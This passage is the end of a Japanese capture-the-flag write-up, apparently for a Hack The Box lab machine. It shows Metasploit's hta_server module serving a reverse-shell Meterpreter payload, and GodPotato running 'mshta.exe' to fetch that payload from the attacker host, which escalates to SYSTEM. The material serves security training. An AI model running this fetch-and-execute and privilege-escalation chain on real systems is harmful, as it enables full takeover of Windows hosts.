%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
=[ metasploit v6.3.31-dev ]
+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1390 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/
semsf6 > search windows/misc/hta_server
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/misc/hta_server 2016-10-06 manual No HTA Web Server
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/misc/hta_server
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > show options
Module options (exploit/windows/misc/hta_server):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Powershell x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.10.14.68
SRVHOST => 10.10.14.68
msf6 exploit(windows/misc/hta_server) > set LHOST 10.10.14.68
LHOST => 10.10.14.68
msf6 exploit(windows/misc/hta_server) > set LPORT 1234
LPORT => 1234
msf6 exploit(windows/misc/hta_server) > set SRVPORT 8082
SRVPORT => 8082
msf6 exploit(windows/misc/hta_server) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.68:1234
[*] Using URL: http://10.10.14.68:8082/4EcVLJy.hta
msf6 exploit(windows/misc/hta_server) >
さっきの権限を持っているシェルでGodpottatoを起動します。
C:\xampp\htdocs\uploads>GodPotato-NET4.exe -cmd "mshta.exe http://10.10.14.68:8082/4EcVLJy.hta"
GodPotato-NET4.exe -cmd "mshta.exe http://10.10.14.68:8082/4EcVLJy.hta"
[*] CombaseModule: 0x140731624849408
[*] DispatchTable: 0x140731627155568
[*] UseProtseqFunction: 0x140731626531744
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\ee78db9b-751c-4d3b-a7d8-818ac4263826\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00000802-112c-ffff-aebb-d0f19a47a266
[*] DCOM obj OXID: 0x77f1c22c75d16e8e
[*] DCOM obj OID: 0xa3991dac85cf3ef4
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 860 Token:0x764 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4432
C:\xampp\htdocs\uploads>
[*] Server started.
[*] 10.10.11.234 hta_server - Delivering Payload
[*] Sending stage (175686 bytes) to 10.10.11.234
[*] Meterpreter session 1 opened (10.10.14.68:1234 -> 10.10.11.234:51679) at 2023-10-14 07:56:02 -0400
msf6 exploit(windows/misc/hta_server) > show sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ VISUAL 10.10.14.68:1234 -> 10.10.11.234:51679 (10.10.11.234)
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > guid
[+] Session GUID: 93c0b1bb-ff6d-4879-8b7b-70af0627e3c0
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
システム権限を奪取しました！これでRootフラグゲットデス！
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
UserフラグのゲットはWindowsで攻略しました。このPayloadが刺さるまで苦労しました。Windowsでの攻略環境の整備も必要そうですねー。
Userフラグ後は一般的な攻略だったのではないでしょうか？
今回もセキュリティエンジニアの皆さんの助けになればなと思います。